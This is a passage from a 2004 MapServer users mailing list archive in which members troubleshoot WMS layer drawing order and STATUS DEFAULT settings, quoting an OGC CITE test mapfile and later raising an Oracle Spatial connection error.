  TYPE LINE
  STATUS ON
  DATA DividedRoutes
  PROJECTION
    "init=epsg:4326"
  END
  CLASS
    NAME "DividedRoutes"
    COLOR 0 0 0
    OUTLINECOLOR 0 0 0
    SYMBOL 'circle'
    SIZE 6
  END
  METADATA
    "WMS_TITLE" "cite:DividedRoutes"
    "WMS_ABSTRACT" "DividedRoutes layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME DividedRoutes_anno
  STATUS ON
  DATA DividedRoutes
  TYPE ANNOTATION
  LABELITEM "NAME"
  CLASS
    NAME "DividedRoutesAnnotations"
    COLOR 255 255 255
    OUTLINECOLOR 0 0 0
    SYMBOL 'routetag'
    SIZE 40
    OVERLAYSYMBOL "route75"
    OVERLAYSIZE 15
    OVERLAYCOLOR 0 0 0
    LABEL
      POSITION CC
      COLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 0
      PARTIALS false
    END
  END
  METADATA
    "WMS_TITLE" "DividedRoutes"
    "WMS_ABSTRACT" "Divided routes layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME MapNeatline
  TYPE LINE
  STATUS ON
  DATA MapNeatline
  PROJECTION
    "init=epsg:4326"
  END
  CLASS
    NAME "MapNeatline"
    COLOR 0 0 0
    SYMBOL 'circle'
    SIZE 3
  END
  METADATA
    "WMS_TITLE" "cite:MapNeatline"
    "WMS_ABSTRACT" "MapNeatline layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME NamedPlaces
  TYPE POLYGON
  STATUS ON
  DATA NamedPlaces
  PROJECTION
    "init=epsg:4326"
  END
  LABELITEM "NAME"
  CLASSITEM "NAME"
  TEMPLATE "namedplaces.html"
  CLASS
    NAME "Ashton"
    EXPRESSION "Ashton"
    #COLOR 153 153 153
    COLOR 192 192 192
    OUTLINECOLOR 0 0 0
    SIZE 8
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      BACKGROUNDCOLOR 192 192 192
      FONT fritqat
      TYPE truetype
      SIZE 10
      POSITION LR
      OFFSET 10 10
      PARTIALS FALSE
    END
  END
  CLASS
    NAME "Goose Island"
    EXPRESSION "Goose Island"
    COLOR 255 255 255
    SIZE 8
    TEXT "Goose | Island"
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      BACKGROUNDCOLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 4
      POSITION CC
      PARTIALS FALSE
      WRAP "|"
    END
  END
  METADATA
    "WMS_TITLE" "cite:NamedPlaces"
    "WMS_ABSTRACT" "NamedPlaces layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Ponds
  TYPE POLYGON
  STATUS ON
  DATA Ponds
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "ponds.html"
  CLASS
    NAME "Ponds"
    COLOR 0 255 255
    OUTLINECOLOR 0 0 0
    TEXT "Stock Pond"
    LABEL
      COLOR  0 0 0
      FONT fritqat
      TYPE truetype
      SIZE 9
      #POSITION AUTO
      POSITION UC
      PARTIALS FALSE
      OFFSET 0 23
    END
  END
  METADATA
    "WMS_TITLE" "cite:Ponds"
    "WMS_ABSTRACT" "Ponds layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME RoadSegments
  TYPE LINE
  STATUS ON
  DATA RoadSegments
  PROJECTION
    "init=epsg:4326"
  END
  LABELITEM "NAME"
  CLASSITEM "NAME"
  CLASS
    NAME "MainStreet"
    EXPRESSION "Main Street"
    SYMBOL 'circle'
    SIZE 3
    COLOR 238 0 0
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      FONT fritqat-italic
      TYPE truetype
      SIZE 10
      POSITION UC
      PARTIALS FALSE
      OFFSET 0 2
    END
  END
  CLASS
    NAME "Route5"
    EXPRESSION "Route 5"
    SYMBOL 'circle'
    SIZE 3
    COLOR 0 0 0
  END
  CLASS
    NAME "Route75"
    EXPRESSION "Dirt Road by Green Forest"
    SYMBOL 'circle'
    SIZE 5
    #COLOR 255 255 0
    COLOR 192 160 0
    TEXT "Dirt Road"
    LABEL
      ANGLE 90
      COLOR  0 0 0
      FONT fritqat-italic
      TYPE truetype
      SIZE 10
      POSITION AUTO
      PARTIALS FALSE
      #OUTLINECOLOR 255 255 255
      OFFSET 0 5
    END
  END
  METADATA
    "WMS_TITLE" "cite:RoadSegments"
    "WMS_ABSTRACT" "RoadSegments layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME RoadSegments_anno
  STATUS ON
  DATA RoadSegments
  TYPE ANNOTATION
  CLASSITEM "FID"
  LABELITEM "NAME"
  CLASS
    NAME "Route5NorthEastAnnotations"
    EXPRESSION "104"
    COLOR 255 255 255
    OUTLINECOLOR 0 0 0
    #OVERLAYCOLOR 0 0 0
    SYMBOL 'routetag'
    SIZE 25
    OVERLAYSYMBOL "route5"
    OVERLAYSIZE 15
    OVERLAYCOLOR 0 0 0
    LABEL
      POSITION CC
      COLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 0
      PARTIALS false
    END
  END
  CLASS
    NAME "Route5WestAnnotations"
    EXPRESSION "102"
    COLOR 255 255 255
    OUTLINECOLOR 0 0 0
    #OVERLAYCOLOR 0 0 0
    SYMBOL 'routetag'
    SIZE 25
    OVERLAYSYMBOL "route5"
    OVERLAYSIZE 15
    OVERLAYCOLOR 0 0 0
    LABEL
      POSITION CC
      COLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 0
      PARTIALS false
    END
  END
  METADATA
    "WMS_TITLE" "RoadSegments"
    "WMS_ABSTRACT" "RoadSegments layer."
    "WMS_SRS" "EPSG:4326"
  END
END #Layer

LAYER
  NAME Streams
  TYPE LINE
  STATUS ON
  DATA Streams
  PROJECTION
    "init=epsg:4326"
  END
  LABELITEM "NAME"
  CLASS
    NAME "Streams"
    COLOR 0 0 205
    OUTLINECOLOR 199 199 199
    SYMBOL 'circle'
    SIZE 2
    LABEL
      ANGLE AUTO
      COLOR  0 0 205
      BACKGROUNDCOLOR 255 255 255
      FONT fritqat-italic
      TYPE truetype
      SIZE 10
      POSITION UC
      PARTIALS FALSE
      OFFSET 30 5
    END
  END
  METADATA
    "WMS_TITLE" "cite:Streams"
    "WMS_ABSTRACT" "Streams layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Forests
  TYPE POLYGON
#  STATUS ON
  STATUS DEFAULT
  DATA Forests
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "forests.html"
  CLASS
    NAME "Forests"
    COLOR 0 150 0
    OUTLINECOLOR 0 0 0
    MINSIZE 4
    #SYMBOL "sapin"
    SYMBOL "tree-gif"
    SIZE 90
#    OVERLAYSYMBOL "square"
#    OVERLAYSIZE 50
#    OVERLAYCOLOR -1 -1 -1
    TEXT "State | Forest"
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      BACKGROUNDCOLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 18
      POSITION AUTO
      PARTIALS FALSE
      WRAP "|"
      OFFSET 100 -60
    END
  END
  METADATA
    "WMS_TITLE" "cite:Forests"
    "WMS_ABSTRACT" "Forests layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Bridges
  TYPE POINT
  STATUS ON
  DATA Bridges
  PROJECTION
    "init=epsg:4326"
  END
  LABELITEM "NAME"
  CLASS
    NAME "Bridges"
    COLOR 0 0 0
    SYMBOL 'bridge'
    SIZE 40
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      FONT fritqat-italic
      TYPE truetype
      SIZE 10
      POSITION AUTO
      PARTIALS FALSE
      OFFSET 20 -8
    END
  END
  METADATA
    "WMS_TITLE" "cite:Bridges"
    "WMS_ABSTRACT" "Bridges layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Lakes
  TYPE POLYGON
  STATUS ON
  DATA Lakes
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "lakes.html"
  CLASS
    NAME "Lakes"
    COLOR 0 0 205
    SIZE 8
    TEXT "BLUE | LAKE"
    LABEL
      ANGLE AUTO
      COLOR  255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 9
      POSITION LL
      PARTIALS FALSE
      WRAP "|"
      OFFSET 15 -10
      FORCE true
    END
  END
  METADATA
    "WMS_TITLE" "cite:Lakes"
    "WMS_ABSTRACT" "Lakes layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Buildings
  TYPE POLYGON
  STATUS ON
  DATA Buildings
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "buildings.html"
  CLASS
    NAME "Buildings"
    COLOR 255 255 255
    OUTLINECOLOR 0 0 0
  END
  METADATA
    "WMS_TITLE" "cite:Buildings"
    "WMS_ABSTRACT" "Buildings layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer
 
LAYER
  NAME BuildingCenters
  TYPE POINT
  STATUS ON
  DATA BuildingCenters
  PROJECTION
    "init=epsg:4326"
  END
  CLASS
    NAME "BuildingCenters"
    COLOR 0 0 0
    SYMBOL 'circle'
    SIZE 4
  END
  METADATA
    "WMS_TITLE" "cite:BuildingCenters"
    "WMS_ABSTRACT" "BuildingCenters layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer
 
END # Map File  


nicolas.fortin at ec.gc.ca wrote:

>Hi Heryk,
>
>Only the layer 1 is set to default, all other are set to OFF.  I thought
>that doesn't matter in WMS cause you only got the layers you are querying.
>
>I set layer 1 to ON and 
>1- try LAYERS=2,1 and only got layer 2
>2- try LAYERS=1 and got nothing
>
>I set layer 1 to OFF (like the others) and 
>1- try LAYERS=2,1 and only got layer 2
>2- try LAYERS=1 and got nothing
>
>Weird...
>Nick
>
>-----Message d'origine-----
>De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca] 
>Envoy? : Monday, January 12, 2004 4:00 PM
>? : 'nicolas.fortin at ec.gc.ca'
>Objet : RE: [Mapserver-users] WMS LAYERS=
>
>
>Hi,
>Are your layers set to "default" in the mapfile? Is so, you will be calling
>layers 1,2 and all the layers that are set to default! So your might be
>calling layers 1 and 2 a second time around! Try setting them to "ON".
>
>Bonne chance!
>H?ryk
>
>
>-----Message d'origine-----
>De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca] Envoy? :
>Monday, January 12, 2004 3:30 PM ? : mapserver-users at lists.gis.umn.edu
Objet
>: [Mapserver-users] WMS LAYERS=
>
>
>Hi list,
>
>When I make a WMS request with the layers parameters like LAYERS=2,1
>
>In accordance to the OGC WMS Spec, layer 1 is suppose to be at the top of
>layer 2 but it isn't the case...why??
>
>Even if I change to LAYERS=1,2 ... no change
>
>In the mapfile, layer 1 is at the end of the file and is always the top
>layer on others applications using this mapfile.
>
>
>Thx for your help,
>
>Nicolas Fortin 
>Math?maticien, Programmeur, Analyste de donn?es 
>SMC-Qu?bec Hydrologie, Environnement Canada 
>1141, Rte de l'?glise, Sainte-Foy(QC) G1V 4H5 
>(418)648-2516 
>nicolas.fortin at ec.gc.ca  
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>  
>




From nicolas.fortin at ec.gc.ca  Tue Jan 13 07:34:21 2004
From: nicolas.fortin at ec.gc.ca (nicolas.fortin at ec.gc.ca)
Date: Tue, 13 Jan 2004 10:34:21 -0500
Subject: [Mapserver-users] WMS LAYERS=
Message-ID: 

Hi Heryk, Normand and list,

I agree, I think I'll not set layers to default for wms.
It's ok for application but has strange behavior when use in some situations
like Heryk mention.

Nick


-----Message d'origine-----
De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca] 
Envoy? : Tuesday, January 13, 2004 10:26 AM
? : 'Normand Savard'; 'nicolas.fortin at ec.gc.ca'
Cc : mapserver-users at lists.gis.umn.edu
Objet : RE: RE : [Mapserver-users] WMS LAYERS=



Hi Norm and Nick,

I made the following observations when calling Mapserver WMS services. This
may be useful for other MS WMS users.

When I call my Mapserver (4.01) WMS service directly through a standard WMS
URL everything is okay. However I get weird layering and "status" problems
in the following 2 situations.

Context: I have a Mapserver WMS service (parent service) calling another
Mapserver WMS service (child service). In other words my mapfile (parent
mapfile) has layers calling another Mapserver WMS service (child mapfile).
The parent mapfile is calling each WMS layers individually from the same
service so that I may insert other layers in between them.

Child service:
http://www.cgcq.rncan.gc.ca/cgi-bin/mapserver/mapserv.exe?map=d:\webcgcq\GAS
L_clf\mapserver\mapfiles\transect1.map&VERSION=1.1.0&REQUEST=GetMap&LAYERS=T
ransect1poly,Geochron,Transect1line,Transect1-coupe&SRS=EPSG:26918&BBOX=6056
52.980,5009993.392,864417.475,5050179.283&width=400&height=400&format=image/
png&

1. If a WMS layer in my parent mapfile is set to default: I get the
following error:
Content-type: image/png ?PNG _
IHDR_?_?___?f?h?PLTE????oeY?_l?yZ??(tm)k`u?_zt????????f-???^?Sf'?1????W"???
????p??$??j`^]i81XRfy?Q?4?>?}????*?s$??__U4aX?{_????_????? ?'Kqpo???C
1?w?q!\?+_????(_*???????????fp?_ ...

	Still looking for a solution! Maybe someone can correct me on this
but I think you can't set a wms layer to default in a client mapfile (parent
mapfile)?

2. If I set some wms layers to default in the child mapfile, the layering
order is not respected. Indeed since wms layers are call separately from the
same service the default layer is repeated every time. Took me some time to
recognize this! My solution: don't have default layers in a WMS services. Ah
ha!


Hope this can help someone!

Salutations
H?ryk


-----Message d'origine-----
De : Normand Savard [mailto:nsavard at dmsolutions.ca]
Envoy? : Monday, January 12, 2004 5:05 PM
? : nicolas.fortin at ec.gc.ca
Cc : hjulien at nrcan.gc.ca; mapserver-users at lists.gis.umn.edu Objet : Re: RE :
[Mapserver-users] WMS LAYERS=


Hi,

I tried to replicate this problem without success by using our WMS 
server used during the OGC compliance tests.   I also used the OGC test 
suite requests.  I joined both the map file and the requests sent (see 
below).  Theses requests contain three layers.  In the first request, 
the "Forest" layer is drawn first.  In the second request, the "Forest" 
layer is drawn last.  You can also see that I modified the mapfile to 
set the "Forest" layer status to "DEFAULT".   It does not seem to affect 
the drawing order.  But maybe I'm missing something.  Do we have access 
your WMS server?  It is possible to have a copy of your mapfile and the 
request you are currently sending?

Norm



The requests used are.


http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?VERSION=1.1.1&REQUEST=GetM
ap&LAYERS=Forests,Lakes,NamedPlaces&STYLES=&SRS=EPSG:4326&BBOX=-0.0042,-0.00
24,0.0042,0.0024&WIDTH=168&HEIGHT=96&FORMAT=image/gif 


http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?VERSION=1.1.1&REQUEST=GetM
ap&LAYERS=NamedPlaces,Lakes,Forests&STYLES=&SRS=EPSG:4326&BBOX=-0.0042,-0.00
24,0.0042,0.0024&WIDTH=168&HEIGHT=96&FORMAT=image/gif 



Our map file is as follow:

#
# Start of map file
#
# $Id: ogc_cite_wms_server.map,Exp $
#
NAME OGC_CITE
STATUS ON
SIZE 600 400
## EPSG:4326 extents
EXTENT -2 -2 -1 6
#EXTENT -0.0042 -0.0024 0.0042 0.0024

UNITS METERS
SHAPEPATH "../data/shapefile"
IMAGECOLOR 255 255 255
FONTSET ../etc/fonts.txt
SYMBOLSET ../etc/symbols.sym

#
# Start of web interface definition
#
WEB
# On Windows systems, /tmp and /tmp/ms_tmp/ should be created at the root #
of the drive where the .MAP file resides. #
  IMAGEPATH "/tmp/ms_tmp/"
  IMAGEURL "/ms_tmp/"
#  LOG "/tmp/gmap.log"
  METADATA
    "WMS_TITLE"         "cite:OGC_CITE WMS Server"
    "WMS_ONLINERESOURCE" 
"http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?"
    "WMS_SRS"           "EPSG:4326"
    "OWS_SCHEMAS_LOCATION" "http://ogc.dmsolutions.ca"
    "WMS_ACCESSCONTRAINTS" "none"
    "WMS_FEES"              "none"

  END
END

PROJECTION
  "init=epsg:4326"
END

QUERYMAP
  SIZE 200 200
  STATUS ON
  STYLE HILITE
  COLOR 255 0 0
END

#
# Start of layer definitions
#

LAYER
  NAME BasicPolygons
  TYPE POLYGON
  STATUS OFF
  DATA BasicPolygons
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "basicpolygons.html"
  CLASS
    NAME "BasicPolygons"
    COLOR 194 194 194
  END
  METADATA
    "WMS_TITLE" "cite:BasicPolygons"
    "WMS_ABSTRACT" "BasicPolygons layer."
#    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME DividedRoutes
  TYPE LINE
  STATUS ON
  DATA DividedRoutes
  PROJECTION
    "init=epsg:4326"
  END
  CLASS
    NAME "DividedRoutes"
    COLOR 0 0 0
    OUTLINECOLOR 0 0 0
    SYMBOL 'circle'
    SIZE 6
  END
  METADATA
    "WMS_TITLE" "cite:DividedRoutes"
    "WMS_ABSTRACT" "DividedRoutes layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME DividedRoutes_anno
  STATUS ON
  DATA DividedRoutes
  TYPE ANNOTATION
  LABELITEM "NAME"
  CLASS
    NAME "DividedRoutesAnnotations"
    COLOR 255 255 255
    OUTLINECOLOR 0 0 0
    SYMBOL 'routetag'
    SIZE 40
    OVERLAYSYMBOL "route75"
    OVERLAYSIZE 15
    OVERLAYCOLOR 0 0 0
    LABEL
      POSITION CC
      COLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 0
      PARTIALS false
    END
  END
  METADATA
    "WMS_TITLE" "DividedRoutes"
    "WMS_ABSTRACT" "Divided routes layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME MapNeatline
  TYPE LINE
  STATUS ON
  DATA MapNeatline
  PROJECTION
    "init=epsg:4326"
  END
  CLASS
    NAME "MapNeatline"
    COLOR 0 0 0
    SYMBOL 'circle'
    SIZE 3
  END
  METADATA
    "WMS_TITLE" "cite:MapNeatline"
    "WMS_ABSTRACT" "MapNeatline layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME NamedPlaces
  TYPE POLYGON
  STATUS ON
  DATA NamedPlaces
  PROJECTION
    "init=epsg:4326"
  END
  LABELITEM "NAME"
  CLASSITEM "NAME"
  TEMPLATE "namedplaces.html"
  CLASS
    NAME "Ashton"
    EXPRESSION "Ashton"
    #COLOR 153 153 153
    COLOR 192 192 192
    OUTLINECOLOR 0 0 0
    SIZE 8
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      BACKGROUNDCOLOR 192 192 192
      FONT fritqat
      TYPE truetype
      SIZE 10
      POSITION LR
      OFFSET 10 10
      PARTIALS FALSE
    END
  END
  CLASS
    NAME "Goose Island"
    EXPRESSION "Goose Island"
    COLOR 255 255 255
    SIZE 8
    TEXT "Goose | Island"
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      BACKGROUNDCOLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 4
      POSITION CC
      PARTIALS FALSE
      WRAP "|"
    END
  END
  METADATA
    "WMS_TITLE" "cite:NamedPlaces"
    "WMS_ABSTRACT" "NamedPlaces layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Ponds
  TYPE POLYGON
  STATUS ON
  DATA Ponds
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "ponds.html"
  CLASS
    NAME "Ponds"
    COLOR 0 255 255
    OUTLINECOLOR 0 0 0
    TEXT "Stock Pond"
    LABEL
      COLOR  0 0 0
      FONT fritqat
      TYPE truetype
      SIZE 9
      #POSITION AUTO
      POSITION UC
      PARTIALS FALSE
      OFFSET 0 23
    END
  END
  METADATA
    "WMS_TITLE" "cite:Ponds"
    "WMS_ABSTRACT" "Ponds layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME RoadSegments
  TYPE LINE
  STATUS ON
  DATA RoadSegments
  PROJECTION
    "init=epsg:4326"
  END
  LABELITEM "NAME"
  CLASSITEM "NAME"
  CLASS
    NAME "MainStreet"
    EXPRESSION "Main Street"
    SYMBOL 'circle'
    SIZE 3
    COLOR 238 0 0
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      FONT fritqat-italic
      TYPE truetype
      SIZE 10
      POSITION UC
      PARTIALS FALSE
      OFFSET 0 2
    END
  END
  CLASS
    NAME "Route5"
    EXPRESSION "Route 5"
    SYMBOL 'circle'
    SIZE 3
    COLOR 0 0 0
  END
  CLASS
    NAME "Route75"
    EXPRESSION "Dirt Road by Green Forest"
    SYMBOL 'circle'
    SIZE 5
    #COLOR 255 255 0
    COLOR 192 160 0
    TEXT "Dirt Road"
    LABEL
      ANGLE 90
      COLOR  0 0 0
      FONT fritqat-italic
      TYPE truetype
      SIZE 10
      POSITION AUTO
      PARTIALS FALSE
      #OUTLINECOLOR 255 255 255
      OFFSET 0 5
    END
  END
  METADATA
    "WMS_TITLE" "cite:RoadSegments"
    "WMS_ABSTRACT" "RoadSegments layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME RoadSegments_anno
  STATUS ON
  DATA RoadSegments
  TYPE ANNOTATION
  CLASSITEM "FID"
  LABELITEM "NAME"
  CLASS
    NAME "Route5NorthEastAnnotations"
    EXPRESSION "104"
    COLOR 255 255 255
    OUTLINECOLOR 0 0 0
    #OVERLAYCOLOR 0 0 0
    SYMBOL 'routetag'
    SIZE 25
    OVERLAYSYMBOL "route5"
    OVERLAYSIZE 15
    OVERLAYCOLOR 0 0 0
    LABEL
      POSITION CC
      COLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 0
      PARTIALS false
    END
  END
  CLASS
    NAME "Route5WestAnnotations"
    EXPRESSION "102"
    COLOR 255 255 255
    OUTLINECOLOR 0 0 0
    #OVERLAYCOLOR 0 0 0
    SYMBOL 'routetag'
    SIZE 25
    OVERLAYSYMBOL "route5"
    OVERLAYSIZE 15
    OVERLAYCOLOR 0 0 0
    LABEL
      POSITION CC
      COLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 0
      PARTIALS false
    END
  END
  METADATA
    "WMS_TITLE" "RoadSegments"
    "WMS_ABSTRACT" "RoadSegments layer."
    "WMS_SRS" "EPSG:4326"
  END
END #Layer

LAYER
  NAME Streams
  TYPE LINE
  STATUS ON
  DATA Streams
  PROJECTION
    "init=epsg:4326"
  END
  LABELITEM "NAME"
  CLASS
    NAME "Streams"
    COLOR 0 0 205
    OUTLINECOLOR 199 199 199
    SYMBOL 'circle'
    SIZE 2
    LABEL
      ANGLE AUTO
      COLOR  0 0 205
      BACKGROUNDCOLOR 255 255 255
      FONT fritqat-italic
      TYPE truetype
      SIZE 10
      POSITION UC
      PARTIALS FALSE
      OFFSET 30 5
    END
  END
  METADATA
    "WMS_TITLE" "cite:Streams"
    "WMS_ABSTRACT" "Streams layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Forests
  TYPE POLYGON
#  STATUS ON
  STATUS DEFAULT
  DATA Forests
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "forests.html"
  CLASS
    NAME "Forests"
    COLOR 0 150 0
    OUTLINECOLOR 0 0 0
    MINSIZE 4
    #SYMBOL "sapin"
    SYMBOL "tree-gif"
    SIZE 90
#    OVERLAYSYMBOL "square"
#    OVERLAYSIZE 50
#    OVERLAYCOLOR -1 -1 -1
    TEXT "State | Forest"
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      BACKGROUNDCOLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 18
      POSITION AUTO
      PARTIALS FALSE
      WRAP "|"
      OFFSET 100 -60
    END
  END
  METADATA
    "WMS_TITLE" "cite:Forests"
    "WMS_ABSTRACT" "Forests layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Bridges
  TYPE POINT
  STATUS ON
  DATA Bridges
  PROJECTION
    "init=epsg:4326"
  END
  LABELITEM "NAME"
  CLASS
    NAME "Bridges"
    COLOR 0 0 0
    SYMBOL 'bridge'
    SIZE 40
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      FONT fritqat-italic
      TYPE truetype
      SIZE 10
      POSITION AUTO
      PARTIALS FALSE
      OFFSET 20 -8
    END
  END
  METADATA
    "WMS_TITLE" "cite:Bridges"
    "WMS_ABSTRACT" "Bridges layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Lakes
  TYPE POLYGON
  STATUS ON
  DATA Lakes
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "lakes.html"
  CLASS
    NAME "Lakes"
    COLOR 0 0 205
    SIZE 8
    TEXT "BLUE | LAKE"
    LABEL
      ANGLE AUTO
      COLOR  255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 9
      POSITION LL
      PARTIALS FALSE
      WRAP "|"
      OFFSET 15 -10
      FORCE true
    END
  END
  METADATA
    "WMS_TITLE" "cite:Lakes"
    "WMS_ABSTRACT" "Lakes layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Buildings
  TYPE POLYGON
  STATUS ON
  DATA Buildings
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "buildings.html"
  CLASS
    NAME "Buildings"
    COLOR 255 255 255
    OUTLINECOLOR 0 0 0
  END
  METADATA
    "WMS_TITLE" "cite:Buildings"
    "WMS_ABSTRACT" "Buildings layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer
 
LAYER
  NAME BuildingCenters
  TYPE POINT
  STATUS ON
  DATA BuildingCenters
  PROJECTION
    "init=epsg:4326"
  END
  CLASS
    NAME "BuildingCenters"
    COLOR 0 0 0
    SYMBOL 'circle'
    SIZE 4
  END
  METADATA
    "WMS_TITLE" "cite:BuildingCenters"
    "WMS_ABSTRACT" "BuildingCenters layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer
 
END # Map File  


nicolas.fortin at ec.gc.ca wrote:

>Hi Heryk,
>
>Only the layer 1 is set to default, all other are set to OFF.  I 
>thought that doesn't matter in WMS cause you only got the layers you 
>are querying.
>
>I set layer 1 to ON and
>1- try LAYERS=2,1 and only got layer 2
>2- try LAYERS=1 and got nothing
>
>I set layer 1 to OFF (like the others) and
>1- try LAYERS=2,1 and only got layer 2
>2- try LAYERS=1 and got nothing
>
>Weird...
>Nick
>
>-----Message d'origine-----
>De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>Envoy? : Monday, January 12, 2004 4:00 PM
>? : 'nicolas.fortin at ec.gc.ca'
>Objet : RE: [Mapserver-users] WMS LAYERS=
>
>
>Hi,
>Are your layers set to "default" in the mapfile? Is so, you will be 
>calling layers 1,2 and all the layers that are set to default! So your 
>might be calling layers 1 and 2 a second time around! Try setting them 
>to "ON".
>
>Bonne chance!
>H?ryk
>
>
>-----Message d'origine-----
>De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca] Envoy? : 
>Monday, January 12, 2004 3:30 PM ? : mapserver-users at lists.gis.umn.edu
Objet
>: [Mapserver-users] WMS LAYERS=
>
>
>Hi list,
>
>When I make a WMS request with the layers parameters like LAYERS=2,1
>
>In accordance to the OGC WMS Spec, layer 1 is suppose to be at the top 
>of layer 2 but it isn't the case...why??
>
>Even if I change to LAYERS=1,2 ... no change
>
>In the mapfile, layer 1 is at the end of the file and is always the top 
>layer on others applications using this mapfile.
>
>
>Thx for your help,
>
>Nicolas Fortin
>Math?maticien, Programmeur, Analyste de donn?es 
>SMC-Qu?bec Hydrologie, Environnement Canada 
>1141, Rte de l'?glise, Sainte-Foy(QC) G1V 4H5 
>(418)648-2516 
>nicolas.fortin at ec.gc.ca  
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>  
>



From nicolas.fortin at ec.gc.ca  Tue Jan 13 07:28:33 2004
From: nicolas.fortin at ec.gc.ca (nicolas.fortin at ec.gc.ca)
Date: Tue, 13 Jan 2004 10:28:33 -0500
Subject: [Mapserver-users] WMS LAYERS= [SOLVED] But an Orac
 le one too!
Message-ID: 

Problem solved!
The mapfile sent below is not exactly the right one, in the other, one group
has the same name as a layer.  By renaming the group, all is back to normal.

Thx for your help!

Now we have a weird oracle error message from the server we're trying to
install mapserver, here it is:
msDrawMap(): Image handling error. Failed to draw layer named '1_02'.
msOCIConnect() in msOracleSpatialLayerOpen(): OracleSpatial error.

I searched the archive but found nothing...
An idea? Someone...

Nick

-----Message d'origine-----
De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca] 
Envoy? : Tuesday, January 13, 2004 9:46 AM
? : nsavard at dmsolutions.ca
Cc : mapserver-users at lists.gis.umn.edu
Objet : RE : RE : [Mapserver-users] WMS LAYERS=



Hi Normand, thx for your answer!
No, you don't have access to it cause it's only intranet for the moment...

This afternoon, I'll try to place the layers like Heryk said to see if it
works.

Here's my wms request:
http://f044d065/mapserv/mapcmitest2.asp?REQUEST=GetMap&SERVICE=wms&VERSION=1
.1.1&Layers=2,1&BBOX=7610000,1222000,7622000,1234000

And my mapfile:
# ---------------------------------------------------------------------
# Mapserver 4.0 for Oracle
# Nicolas Fortin, Env Can nicolas.fortin at ec.gc.ca
# MapFile Test pour la CMI V1.4
# ---------------------------------------------------------------------

NAME IJC4
EXTENT 7610000 1222000 7622000 1234000 #Lac St-Louis
